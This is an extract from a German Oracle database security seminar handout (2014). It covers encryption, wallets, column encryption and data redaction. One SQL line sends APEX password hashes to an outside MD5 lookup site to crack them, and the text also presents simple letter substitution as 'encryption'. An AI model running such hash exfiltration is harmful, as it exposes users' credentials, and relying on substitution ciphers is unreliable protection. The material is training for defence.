View
25
Download
0
Category
Preview:
Citation preview
DOAGBerliner Expertenseminar
Sicherheit in der Oracle Datenbank22. / 23. Oktober 2014
© 2014 by MuniQSoft GmbH
Autor: Marco PatzwahlFirma MuniQSoft GmbHGrünwalder Weg 13a82008 Unterhaching
Tel.: 089 / 67 90 90 40Fax: 089 / 67 90 90 50
Internet: www.muniqsoft.deEmail: info@muniqsoft.de
Wir haben diesen Kursordner mit großer Sorgfalt zusammengestellt. Trotzdem können Fehler nicht komplett ausgeschlossen werden. Herausgeber und Autoren können deshalb für fehlerhafte Angaben und deren Folgen keine Haftung übernehmen.
Dieses Werk (in gedruckter und digitaler Form) ist urheberrechtlich geschützt. Die Vervielfältigung, Entnahme von Grafiken, Tabellen oder Texten oder Vortrag von Teilen dieses Dokuments ist nur mit Zustimmung des Autors zulässig.
Die Wiedergabe von Gebrauchsnamen, Handelsnamen oder Warenzeichen in diesem Werk berechtigt auch ohne besondere Kennzeichnung nicht zur Annahme, dass solche Namen im Sinne des Warenzeichen-, Gebrauchsmuster und Markenschutz-Gesetzgebung als frei zu betrachten wären und daher von jedermann benutzt werden dürften.
Impressum
Security I 0-2
Inhaltsverzeichnis 1
Inhaltsverzeichnis
Inhaltsverzeichnis für ES_Security (c) 1998-2014 by MuniQSoft GmbH
Impressum
Kapitel 1 Verschlüsselung
2. Einleitung
3. Der Translate Befehl
4. Verbesserung der Low-Level Verschlüsselung
5. DBMS_CRYPTO
6. DBMS_CRYPTO Verschlüsselung
7. Verschlüsselung von Spalten
8. Wallet konfigurieren
9. Wallet
10. Spalten verschlüsseln
13. Data Pump Verschlüsselung (EE)
14. Verschlüsselung von Oracle Passwörtern
15. Redaction (Oracle 12c EE+ASO)
16. Redaction Einschränkungen
17. Neue System Rechte für Redaction
18. Weitere Packageaufrufe vom DBMS_REDACT
19. Tipps & Tricks zu den Parametern
22. Beispiele zum Expression Parameter
23. Vordefinierte Shortcuts
24. Beispiele für die Parameter
25. Redaction Verwaltungsviews
26. DBMS_REDACT Beispiel
28. Probleme mit DBMS_REDACT
29. Security Bug in 12.1.0.1
Kapitel 2 Rechte & Rollen
2. Einleitung
4. Rechte bei Rollen
5. Rechte mit ANY
6. Gefährliche Rechte
9. Privilegien-Eskalation
13. ADMIN OPTION
14. Public Rechte
Inhaltsverzeichnis 1
Inhaltsverzeichnis 2
15. PUBLIC Rechte entziehen
16. Gefährliche Packages
22. Ports sperren/freigeben (ab 11g)
27. Fine Grain Access ab 12c
28. DBMS_NETWORK_ACL_ADMIN ab 12c
29. Beispiel zu APPEND_HOST_ACE (12c)
30. Parameter zu APPEND_HOST_ACE (12c)
31. Beispiel zu REMOVE_HOST_ACE (12c)
32. ACL Views
33. 12c: DBMS_PRIVILEGE_CAPTURE (EE +DV Opt.)
34. Ablauf der Rechteerfassung
35. CREATE_CAPTURE-Prozedur
36. Beispiele
38. App-Überwachung in fremder Session
39. Start / Ende der Erfassung
40. Übersicht der Ausgabe
41. Beispielausgabe
42. Neue Rollen in 12c
43. Neue Rollen in 12c
44. Neue Rechte in 12.1.0.1
45. Neue Rechte in 12.1.0.2
46. Inherit Privileges (Oracle 12c)
47. Inherit Privileges
48. Beispiel zu inherit Privileges
50. Neuerung bei Rechten in 12.1.0.2
Inhaltsverzeichnis
Kapitel 3 Benutzer und Passwörter
2. Benutzerpasswörter
3. Optimierung von Passwörtern
4. Benutzerpasswörter
5. Passwort ändern auf dem Client
6. Abschalten des alten PWD Algorithmus
8. Neue Passwortverschlüsselung in 12.1.0.2
9. Passwort-Hackmethoden
12. Benutzeridentifizierung
14. Benutzer
Inhaltsverzeichnis 2
Inhaltsverzeichnis 3
15. Benutzerpasswörter (APEX)
16. Benutzerpasswörter
23. Administrationsbenutzer
24. Übersicht der Rechte pro Benutzer
25. Passwörter in Skripten
26. Default-Passwörter
27. Schutz durch Profile
31. Schutz durch Passwortfunktion
32. Die Passwortfunktion
34. Passwortfunktion als Spion ?
35. Neue Passwort-Prüf-Funktion in 12c
36. Anmeldung mit verschlüsselten Passwort
39. Neuer / alter Password Hash
41. Abschalten des alten PWD Algorithmus
43. Neue Passwortverschlüsselung in 12.1.0.2
Kapitel 4 Netzwerksicherheit
2. Einleitung
3. Tipps & Tricks
4. Netzwerkverschlüsselung
6. SQLNET.ORA Parameter
7. Integritätsprüfung
8. Einstellung in der SQLNET.ORA
9. Client/Server Einstellkombinationen
10. Funktionstest der Verschlüsselung
Inhaltsverzeichnis
Kapitel 5 Trigger
2. Überwachung mittels Trigger
3. Beispiel für einen Trigger:
4. Logon Trigger
5. System-Trigger
6. Beispiel System-Trigger
7. DDL-Trigger
11. Beispiel DDL-Trigger
12. Weiteres Beispiel
Inhaltsverzeichnis 3
Inhaltsverzeichnis 4
Kapitel 6 Rootkits
2. Definition
3. Rootkit unter Unix
4. Wer greift mich an?
5. Was macht der Angreifer?
6. Wie komme ich in die Oracle Datenbank?
7. Wie komme ich in die Datenbank
11. Ich bin drin ...
12. Namensauflösung bei Objekten
13. Manipulation der Verwaltungsviews
15. Verwaltungsviews (V$...)
18. Abweichungen bei Benutzertabellen
19. Abweichung von Public Synonymen
20. Abweichung bei Privilegien
21. SELECT führt DDL aus
22. Objekte als Oracle eigene ausgeben
23. Lösung
24. DDL Trigger
25. Wie kann man sich schützen?
26. View Definitionen mit Hash-Wert speichern
27. Rootkit Version 2
28. Rootkit Version 2 aufspüren
29. Honeypot
30. Oracle Würmer
31. Vorsichtsmaßnahmen
Inhaltsverzeichnis
Kapitel 7 Forensik
2. Was ist Forensik?
3. Tools für die Forensik
4. Interessante Trace Files
5. Trace Views/Tables
6. Vorgehensweise
7. Befehle zur Überwachung
9. SYS.USER$
10. Alte Passwörter
11. SYS.WRH$_ACTIVE_SESSION_HISTORY
Inhaltsverzeichnis 4
Inhaltsverzeichnis 5
12. Welche Programme haben sich angemeldet?
13. Änderungen an wichtigen Tabellen
14. Weitere interessante Tabellen
15. Listener.log in External Table
16. Auswertungen der listener.log
17. Blöcke auslesen
18. Die SCN als Dokumentation des Zeitpunkts
19. Checkpoint Nummer wandeln
20. SCN Nummern in Blöcken
21. Interessante Auswertungen bzgl der SCN
22. Flashback Row History
23. Inhaltliche Änderungen feststellen
Kapitel 8 Unified Auditing
2. Audit bis Version 11.2
3. Rückwärtskompatibilität
4. Empfehlungen
5. Unified Auditing
6. Unified Auditing alleinig aktivieren
7. Unified Auditing Speichermethoden
9. Wo wird das Audit gespeichert?
10. Unified Auditing: Rechte
11. Unified Autiting Syntax
12. Unified Auditing Syntax
13. Unified Auditing: WHEN Klausel
Inhaltsverzeichnis
14. Beispiele zur WHEN Klausel
15. Audit aktivieren
16. Audit deaktivieren
17. Unified Auditing Beispiele
19. Unified Auditing Beispiele für Privilegien
20. Interessante Privilegien zum Audit
21. Unified Autiting Beispiele für Packages
22. Lohnenswerte Packages für die Überwachung
23. Beispiel: Packageüberwachung
24. Audit auf Objekte
25. Unified Autiting Bsp für Rollenbenutzung
Inhaltsverzeichnis 5
Inhaltsverzeichnis 6
26. Unified Autiting Beispiele
27. SQL*Loader mittels AUDIT überwachen
28. Vordefinierte Policies
29. Audits abändern
30. Beispiele zu Audits abändern
31. Audit auswerten
32. Unified Audit Tabellenspalten (Auswahl)
33. AUDIT_TYPE
34. Audit löschen
35. Audit Einträge zeitgesteuert löschen
36. Audit Einträge manuell löschen
37. Audit Einträge löschen in Read Only DB
38. Mandatory Auditing
39. Audit Views
Kapitel 9 Security
2. Neue Benutzer
3. Neue Parameter für Passwort-Datei
4. System Benutzer in der Passwortdatei
5. Übersicht der Rechte pro Benutzer
6. SYSDBA Ersatz
7. Anmeldung als SYSBACKUP
8. Erweitertes CREATE USER Kommando
9. Benutzer anlegen in CDB
10. Fehlerhafter Login / Login Zeit
Inhaltsverzeichnis
11. Oracle Maintained Rollen/Benutzer
Kapitel 10 Checkliste
2. Einleitung
3. Passwörter ändern/Benutzer sperren
4. Rechteüberprüfung/Netzwerk
5. INIT.ORA Parameter Prüfung
6. Prüfung auf neusten Patch
7. Prüfung auf neuen PWD Algorithmus
8. Welche Policies sind im Einsatz
9. Welche Directories sind angelegt
Inhaltsverzeichnis 6
Inhaltsverzeichnis 7
10. Welche DB Links existieren ?
11. Welche Objekte sind verschlüsselt?
12. Wird die Passwort Prüffunktion verwendet ?
13. Prüffunktionen
14. Welche Objekte wurden kürzlich neu erzeugt?
15. 16 Jahre MuniQSoft GmbH
Inhaltsverzeichnis
Kapitel 1Verschlüsselung
Security I 1 - 1
Einleitung
Verschlüsselung dient dem Verbergen von Information en (z. B. Gehaltsdaten)
Jedoch kann der Einsatz der Verschlüsselung erst da s Interesse der Hacker wecken
Besser wäre das „Verstecken" der Daten (=> SAP ist hier Spezialist mit 70.000 Tabellen ☺☺☺☺ )
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 2
Verschlüsselte Daten stellen eine zusätzliche Hürde da, die von einem Hacker erst mal überwunden werden muss. Auch ist ein „zufälliges“ Lesen der Gehaltsdaten aus der gesamten Vorstandsetage eher unwahrscheinlich. Durch die Verschlüsselung werden die Daten auch in den Oracle Blöcken und damit auch in den Tablespace-Dateien verschlüsselt eingetragen. Auch ein Export wird die Daten verschlüsselt aus der Datenbank holen und sicher in der Exportdatei lagern.
Jedoch ist es illusorisch zu glauben, ein 128 oder 192 Bit Schlüssel sei nicht zu knacken. Es ist nur eine Frage der Zeit bzw. Rechnerleistung, die jedoch derzeit noch nicht in ausreichendem Maße zur Verfügung steht.
Stichwörter: Daten verstecken/verschlüsseln
Security I 1 - 2
Der Translate Befehl
Dient der Low-Level-Verschlüsselung
Syntax:TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>')
Beispiel:SELECT TRANSLATE(ename,'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde') FROM scott.emp;
Zum Entschlüsseln müssen nur die Schlüssel vertausc ht werden
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 3
Der TRANSLATE Befehl dient der Low-Level-Verschlüsselung von Daten innerhalb von Tabellen oder Views.
Syntax:TRANSLATE(<wert>,'<buchstabenliste>','<verschlüsselungsliste>')Beispiel:SELECT TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde') FROM scott.emp;Zum Entschlüsseln müssen nur die Schlüssel vertauscht werdenDie Verschlüsselung kann bereits beim Insert in eine Tabelle verwendet werdenBeispiel:INSERT INTO emp (empno,ename,sal,deptno)VALUES(8000, TRANSLATE ('WESSON', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde'),1000,10);Sollten die Daten bereits in der Tabelle stehen, wird statt dessen ein Update verwendet:UPDATE emp set ename= TRANSLATE (ename, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcdefghijklmnopqrstuvwxyz6789','fghijklmnopqrstuvwxyz6789ABCDEFGHIJKLMNOPQRSTUVWXYZ012345abcde');
Stichwörter: TRANSLATE , Low-Level Verschlüsselung
Security I 1 - 3
Verbesserung der Low-Level Verschlüsselung
Drehen Sie das Wort vor dem Verschlüsseln um
Marco =>Ocram
Geheim =>Mieheg
Teilen Sie das Wort in zwei Hälften und vertauschen Sie diese
Marco => Mar co => Comar
Geheim => Geh eim =>Eimgeh
Danach wird wieder der Translate-Befehl benutzt
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 4
Beispiel zum Vertauschen der beiden Hälften:
SELECT SUBSTR(ename,FLOOR(LENGTH(ename)/2)+1),SUBSTR(ename,1,FLOOR(LENGTH(ename)/2))FROM scott.emp;
Stichwörter: Low-Level Verschlüsselung, Verbesserung
Security I 1 - 4
DBMS_CRYPTO
Ersetzt/ergänzt das bisherige Package dbms_obfuscat ion
Strings müssen nicht mehr ein Vielfaches von 8 Byte sein, jedoch müssen sie zuerst in RAW konvertiert werden
Verfügt über eine größere Anzahl an Verschlüsselungsroutinen z.B.:
dbms_crypto.des_cbc_pkcs5 (Schlüssellänge 8 Byte), dbms_crypto.des3_cbc_pkcs5 (24 Byte)
dbms_crypto.encrypt_rc4
dbms_crypto.encrypt_aes128
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 5
Vollständige Liste der Algorithmen:
ENCRYPT_DES (Keylänge 56 Bit).ENCRYPT_3DES_2KEY (Effektive Keylänge 112 Bit).ENCRYPT_3DESENCRYPT_AES128 (verwendet 128 Bit Key-Länge)ENCRYPT_AES192 (verwendet 192 Bit Key-Länge)ENCRYPT_AES256 (verwendet 256 Bit Key-Länge)ENCRYPT_RC4
Stichwörter: DBMS_CRYPTO
Security I 1 - 5
DBMS_CRYPTO Verschlüsselung
Verschlüsselung:
p_encrypted_raw := dbms_crypto.encrypt(src => p_text_raw, typ => p_crypto_typ,key => p_key);
Entschlüsselung
p_decrypted_raw := dbms_crypto.decrypt(src => p_encrypted_raw, typ => p_crypto_typ,key => p_key);
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 6
Stichwörter: DBMS_CRYPTO, Verschlüsselung
Security I 1 - 6
Verschlüsselung von Spalten
Ab Version 10.2 können die Spaltenwerte direkt verschlüsselt werden
Sollte dann der Server bzw. der Export-Dump gestohl en werden, ist er ohne das Master-Passwort wertlos
Zuerst muss ein Wallet mit Passwort erzeugt werden
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 7
Stichwörter: Verschlüsselung von Spalten
Security I 1 - 7
Wallet konfigurieren
Tragen Sie in die Datei SQLNET.ORA einen gültigen Wallet-Pfad ein
WALLET_LOCATION = (SOURCE = (METHOD = FILE) (METHOD_DATA =
(DIRECTORY = c:\oracle\admin\orcl\wallet)
) )
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 8
Stichwörter: Wallet konfigurieren
Security I 1 - 8
Wallet
Wallet erzeugen
ALTER SYSTEM SET ENCRYPTION KEY ["certificate_id" ] IDENTIFIED BY "pwd" ;
Wallet öffnen
ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY "password";
Wallet schließen bis 11.2
ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;
Wallet schließen ab 11.2
ALTER SYSTEM SET ENCRYPTION WALLET CLOSEIDENTIFIED BY "password";
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 9
Hinweis:• Bei unseren Tests konnten wir unter Win XP Oracle 10.2.0.3 das Wallet nicht
ins Network Admin Verzeichnis legen.• Es war nur möglich unter <Oracle BASE>/<sid> einen Ordner wallet
anzulegen. Dort wurde dann die Datei erzeugt.
Stichwörter: Wallet erzeugen/öffnen/schließen
Security I 1 - 9
Spalten verschlüsseln
CREATE TABLE scott.kunden ( acc_no NUMBER NOT NULL, last_name VARCHAR2(30) not null, SSN varchar2(9) ENCRYPT USING 'AES128',card_id number ENCRYPT USING 'AES128' );
Nachträglich einschalten:
ALTER TABLE kunden MODIFY (card_id ENCRYPT);
Nachträglich ausschalten:
ALTER TABLE kunden MODIFY (card_id DECRYPT);
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 10
Erlaubte Encryption-Methoden:
• 3DES168 • AES128 • AES192 • AES256
Die Option SALT ist default !
Stichwörter: Spalten verschlüsseln, ENCRYPT USING
Security I 1 - 10
Spalten verschlüsseln
Ein Zugriff auf die verschlüsselten Spalten ist nur bei geöffnetem Wallet möglich!
SQL> ALTER SYSTEM SET ENCRYPTION WALLET OPEN IDENTIFIED BY muniqsoft;
SQL> insert into kunden values (1,'Test','ABCDEFG', 1000);
SQL> select * from kunden;
ACC_NO LAST_NAME SSN CARD_ID---------- ------------------ --------- --------
1 Test ABCDEFG 1000
SQL> ALTER SYSTEM SET ENCRYPTION WALLET CLOSE;
SQL> select * from kunden;
select * from kunden
*
FEHLER in Zeile 1: ORA-28365: Wallet ist nicht geöf fnet
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 11
Stichwörter: Spalten verschlüsseln, ALTER SYSTEM SETENCRYPTION WALLETOPEN IDENTIFIED BY
Security I 1 - 11
Spalten verschlüsseln
Informationen zu verschlüsselten Spalten liegen unt er
USER_/ALL_/DBA_ENCRYPTED_COLUMNS OWNER TABLE_NAME COLUMN_NAME ENCRYPTION_ALG SALT
----------------- ----------- ---------------- ---
SYSTEM KUNDEN SSN AES 128 bits key YES
SYSTEM KUNDEN CARD_ID AES 128 bits key YES
Leider kann auch dort ein Hacker nachlesen, welche Spalten interessant sind, und welcher Algorithmus verwendet wird
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 12
Stichwörter: Spalten verschlüsseln, Informationen
Security I 1 - 12
Data Pump Verschlüsselung (EE)
Wenn Daten des verschlüsselten Tablespace exportier t werden sollen, muss daran gedacht werden beim Expor t einen Parameter zu verwenden!
expdp scott/tiger tables= geheim_tab dumpfile= sec.dmp directory= data_pump_dir encryption= data_only encryption_algorithm= aes128encryption_password= geheim enycryption_mode=[dual|password|transparent]
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 13
Stichwörter: Verschlüsselung; Datapump, Datapump; V erschlüsselung
Parameter Beispiel Beschreibung
encryption ALL ALL = Metadaten + NutzdatenDATA_ONLY= NutzdatenENCRYPTED_COLUMNS_ONLY= Nur verschlüsselte SpaltenMETADATA_ONLY= Nur MetadatenNONE= Keine Verschlüsselung
encryption_algorithm AES256 Folgende Algorithmen stehen zur Verfügung: AES128 | AES192 | AES256
encryption_password supergeheim Passwort für Export und Import ! Wird beim Export nur verwendet, wenn Parameter encryption_mode = DUAL oder PASSWORD gesetzt wurde
encryption_mode TRANSPARENT TRANSPARENT= Wallet Passwort entscheidendPASSWORD= Passwort des Parameters encryption_password entscheidetDUAL= Wallet und Passwort des Parameters encryption_password wichtig
Security I 1 - 13
Verschlüsselung von Oracle Passwörtern
Oracle verwendet je nach Modul/User/Version verschiedene Algorithmen:
Benutzerpasswörter:
Version 5.x bis 10.2: DES von Upper(password)
Version 11.1: SHA-1 von password
APEX 1.6-3.0: MD5
http://md5.rednoize.com/
SELECT utl_http.request('http://md5.rednoize.com/?q='||web_password_raw ||'&b=MD5-Search') from flows_030000.wwv_flow_fnd_user;
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 14
Stichwörter: Verschlüsselung, Oracle Passwörter
Security I 1 - 14
Redaction (Oracle 12c EE+ASO)
Redaction wird zum Verschleiern von sensiblen Daten verwendet (z.B. Kreditkartenspalten)
Alle Besitzer der DBA-Rolle haben automatisch das Recht EXEMPT REDACTION POLICY und können damit jede existierende Redaction Regel umgehen und die Daten im Original sehen.
Data Redaction Policies dürfen nicht auf SYS Objekt e definiert werden.
Für die Verwendung von Redaction ist die Enterprise Edition mit der Advanced Security Option notwendig.
Hinweis: Diese Funktion wurde in 11.2.0.4 zurückpor tiert
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 15
Stichwörter: Redaction
Security I 1 - 15
Redaction Einschränkungen
Nur eine Redaction Policy pro Tabelle
Primrärschlüsselspalten dürfen keine Redaction besi tzen
Keine CREATE TABLE AS SELECT auf Tabellen mit Redact Spalten
CREATE TABLE t As SELECT * FROM redact_table;
Export Datapump auf Redact Spalten derzeit auch nic ht unterstützt (Stand 12.1.0.1 März 2014)
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 16
Security I 1 - 16
Neue System Rechte für Redaction
Redaction Regeln umgehen:
GRANT EXEMPT REDACTION POLICY TO <user>;
Redaction Regeln für DML umgehen:
GRANT EXEMPT DML REDACTION POLICY TO <user>;
Redaction Regeln für DDL umgehen:
GRANT EXEMPT DDL REDACTION POLICY TO <user>;
Sinnvoll bei einem CREATE TABLE AS SELECT
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 17
Security I 1 - 17
Weitere Packageaufrufe vom DBMS_REDACT
Policy abschalten
DBMS_REDACT.DISABLE_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);
Policy löschen
DBMS_REDACT.DROP_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);
Policy einschalten
DBMS_REDACT.ENABLE_POLICY (object_schema IN VARCHAR2 := NULL,object_name IN VARCHAR2,policy_name IN VARCHAR2);
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 18
Weitere Aufrufe:DBMS_REDACT.ADD_POLICY (
object_schema IN VARCHAR2,object_name IN VARCHAR2,policy_name IN VARCHAR2,column_name IN VARCHAR2 := NULL ,function_type IN BINARY_INTEGER : = DBMS_REDACT.FULL,function_parameters IN VARCHAR2 := NULL ,expression IN VARCHAR2,enable IN BOOLEAN := TRUE,regexp_pattern IN VARCHAR2 := NULL ,regexp_replace_string IN VARCHAR2 := NULL ,regexp_position IN BINARY_INTEGER : = 1,regexp_occurrence IN BINARY_INTEGER : = 0,regexp_match_parameter IN VARCHAR2 := NULL ,policy_description IN VARCHAR2 := NULL ,column_description IN VARCHAR2 := NULL );
DBMS_REDACT.ALTER_POLICY (object_schema IN VARCHAR2 := NULL ,object_name IN VARCHAR2,policy_name IN VARCHAR2,action IN BINARY_INTEGER : =
DBMS_REDACT.ADD_COLUMN,column_name IN VARCHAR2 := NULL ,function_type IN BINARY_INTEGER : = DBMS_REDACT.FULL,function_parameters IN VARCHAR2 := NULL ,expression IN VARCHAR2,regexp_pattern IN VARCHAR2 := NULL ,regexp_replace_string IN VARCHAR2 := NULL ,regexp_position IN BINARY_INTEGER : = 1,regexp_occurrence IN BINARY_INTEGER : = 0,regexp_match_parameter IN VARCHAR2 := NULL ,policy_description IN VARCHAR2 := NULL ,column_description IN VARCHAR2 := NULL );
Stichwörter: DBMS_REDACT
Security I 1 - 18
Tipps & Tricks zu den Parametern
Parameter Einstellung Beschreibung
FUNCTION_TYPE
0 NONE Keine Verschleierung (dbms_redact.none = 0)
1 FULL Feste Werte (dbms_redact.full = 1)
2 PARTIAL Teile der Spalte verschleiern
4 RANDOM Jede Abfrage wird mit zufälligen Werten beantwortet
5 REGEXP Verschleierung basierend auf regulären Ausdrücken
EXPRESSION 1=1 Maskierung immer ausführen
Weitere Prüfungen z.B. mit SYS_CONTEXT( userenv,'…') möglich. Ausführung der Maskierung nur, wenn Rückgabewert TRUE
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 19
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 19
Tipps & Tricks zu den Parametern (f)
Parameter Einstellung Beschreibung
FUNCTION_PARAMETERS
(Datentyp CHAR)
Input Format V = maskiert, F = ignoriert
Output Format
V = maskiert, Restliche zum Formatieren
Mask Char Maskierendes Zeichen wie '*', oder 'X'
Startposition Ab dieser Position wird maskiert
Endposition Endposition der Maskierung
DatentypNumber
Mask Char Zeichen zwischen 0 - 9 zum Maskieren
Startposition Ab dieser Position wird maskiert
Endposition Endposition der Maskierung
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 20
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 20
Tipps & Tricks zu den Parametern (ff)
Parameter Einstellung Beschreibung
REGEXP_MATCH_PARAMETER
i Groß - und Kleinschreibung wird nicht berücksichtigt
c Groß - und Kleinschreibung wird berücksichtigt
n Das Sonderzeichen "." kann auch für einen Zeilenumbruch stehen
m Die Zeichenkette wird als mehrzeilige Eingabe betrachtet. ^ und $ können dann für jede Zeile ange-wendet werden und nicht nur für Anfang und Ende.
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 21
Stichwörter: DBMS_REDACT; Parameter
Security I 1 - 21
Beispiele zum Expression Parameter
Wenn Sie die Expression Klausel ändern, kann die Re gel nur für bestimmte Benutzer ausgeführt werden.
So wird nur der Benutzer SCOTT die veränderten Spalteninhalte sehen, alle anderen bekommen die Spalten im Original.
EXPRESSION =>q'!sys_context('USERENV','SESSION_USER') ='AQ' !'
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 22
Beispiele für sys_context
CLIENT_INFO Gibt 64 Byte über die Usersession zurück, die eine Applikation im Package DBMS_APPLICATION_INFO abgelegt hat.
CURRENT_USER Aktueller Benutzer der Session CURRENT_USERID Aktuelle Benutzer-ID der Session CURRENT_SCHEMA Aktuell eingestelltes Schema. Dies kann z. B. durch ALTER SESSION
SET CURRENT_SCHEMA=<schema>; eingeschaltet werden CURRENT_SCHEMAID Id-Nummer des aktuell eingestellten Schemas DB_DOMAIN Domain Name der Datenbank die im init.ora Parameter DB_DOMAIN
eingetragen wurde DB_NAME Datenbank Name der im init.ora Parameter DB_NAME eingetragen wurde BG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Oracle
Hintergrundprozess erzeugt wurde. NULL wenn dies nicht der Fall ist FG_JOB_ID Job Nummer der aktuellen Session, wenn Sie durch einen Client Prozess erzeugt
wurde. NULL wenn dies nicht der Fall ist HOST Rechnername des Clients INSTANCE Instanznummer der aktuellen Instanz (meist 1) IP_ADDRESS IP Adresse des Clients ISDBA TRUE wenn der aktuelle Benutzer die SYSDBA Rolle besitzt. FALSE falls nicht.
Fehler in Doku: Hier steht die DBA Rolle ! LANGUAGE Sprache, Territorium und Zeichensatz der aktuellen Session in der Form:
language_territory.characterset LANG Länderkürzel (für uns "D") NETWORK_PROTOCOL benutztes Netzwerkprotokoll NLS_TERRITORY Territorium der aktuellen Session NLS_CURRENCY Währung der aktuellen Session NLS_CALENDAR Kalender der aktuellen Session NLS_DATE_FORMAT Datumsformat der aktuellen Session NLS_SORT Sortierreihenfolge der aktuellen Session SESSION_USER Benutzer der aktuellen Session, wie er authentifiziert wurde SESSION_USERID Benutzer-ID der aktuellen Session, wie er authentifiziert wurde OS_USER Betriebsystemuser der die Verbindung zur DB aufgebaut hat SESSIONID Session ID für Auditing TERMINAL Terminal Name für aktuelle Session
Stichwörter: Redaction Expression
Security I 1 - 22
Vordefinierte Shortcuts
Einige Prüfungen sind schon vordefiniert, jedoch ma chen in unseren Breitengraden nicht alle Sinn. (z.B. Sozialversiche rungsnummer-Format der USA)
Sinnvolle Prüfungsvarianten (Auswahl)
DBMS_REDACT.REDACT_ZIP_CODE (5 stellige Postleitzah l in VARCHAR2 Spalte wird durch XXXXX ersetzt)
DBMS_REDACT.REDACT_NUM_ZIP_CODE (5 stellige Postlei tzahl in NUMBER Spalte wird durch XXXXX ersetzt)
DBMS_REDACT.REDACT_DATE_MILLENNIUM (Datum wird erse tzt durch 01-JAN-00)
DBMS_REDACT.REDACT_DATE_EPOCH (Datum wird ersetzt d urch 01-JAN-70)
DBMS_REDACT.REDACT_CCN16_F12 (ersetzt eine 16-stell ige Kreditkartenummer in der Form 1234123412341234 durc h XXXXXXXXXXXX1234)
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 23
Stichwörter: Shortcuts
Security I 1 - 23
Beispiele für die Parameter
FUNCTION_TYPE REGEXP_PATTERN REGEXP_REPLACE_STRING
Spaltenwert Ergebnis
DBMS_REDACT.FULL
123 0
DBMS_REDACT.REGEXP
'(\d{4})-(\d{4})-(\d{4})-(\d{4})'
'XXX-\4' '1234-1234-1234-6789'
'XXXX-6789'
DBMS_REDACT.REGEXP
'(\d{4})-(\d{4})-(\d{4})-(\d{4})'
'\1-0000-\2-1111'
'1234-4567-1234-6789'
'1234-0000-4567-1111'
DBMS_REDACT.REDACT_DATE_MILLENNIUM
16.06.2014 01.01.2000
DBMS_REDACT.REANDOM
'1234-1234-1234-6789'
*DZ*FLpA2Lb2NTxI:Tj
DBMS_REDACT.PARTITAL
function_parameters=>'9,1,5'
12345 6789 99999 6789
DBMS_REDACT.PARTITAL
function_parameters=>'0,1,2'
1.23 0.0 3
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 24
Spaltentyp Numberfunction_type => DBMS_REDACT.PARTIALfunction_parameters => '7,1,5', -- erste bis 5te Stelle mit 7 besetzenAusgabe der Spalte777774320 777774323 777774325Beispiel 2regexp_pattern => '(\d\d\d)(\d\d)(\d\d\d\d)', regexp_replace_string => 'XXXXX\3',Ausgabe der SpalteXXXXX1234 XXXXX5678
Security I 1 - 24
Redaction Verwaltungsviews
REDACTION_POLICIES
REDACTION_COLUMNS
REDACTION_VALUES_FOR_TYPE_FULL
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 25
Stichwörter: Redaction
Security I 1 - 25
DBMS_REDACT Beispiel
CREATE TABLE scott.kredit_card(cust_name VARCHAR2(64), card_id VARCHAR2(64));
INSERT INTO scott.kredit_card VALUES ('Marco','1234-1234-1234-1234');
EXEC dbms_redact.add_policy(…)
SELECT * FROM scott.kredit_card;
CUST_NAME CARD_ID--------- --------------------Marco XXXXX-XXXX-XXXX-1234
MuniQSoft GmbH Kapitel 1 - Verschlüsselung Security I 1 - 26
Stichwörter: DBMS_REDACT; Beispiel
Security I 1 - 26
DBMS_REDACT Beispiel (f)
BEGIN DBMS_REDACT.ADD_POLICY(
object_schema => 'SCOTT', object_name => 'KREDIT_CARD', column_name => 'CARD_ID', policy_name => 'MASK_CARD_ID', expression => '1=1', function_type => DBMS_REDACT.REGEXP, regexp_pattern => '(\d\d\d\d)-(\d\d\d\d)-(\d\d\d\d) -
(\d\d\d\d)', regexp_replace_string => 'XXXXX-XXXX-XXXX-\4');
END;/
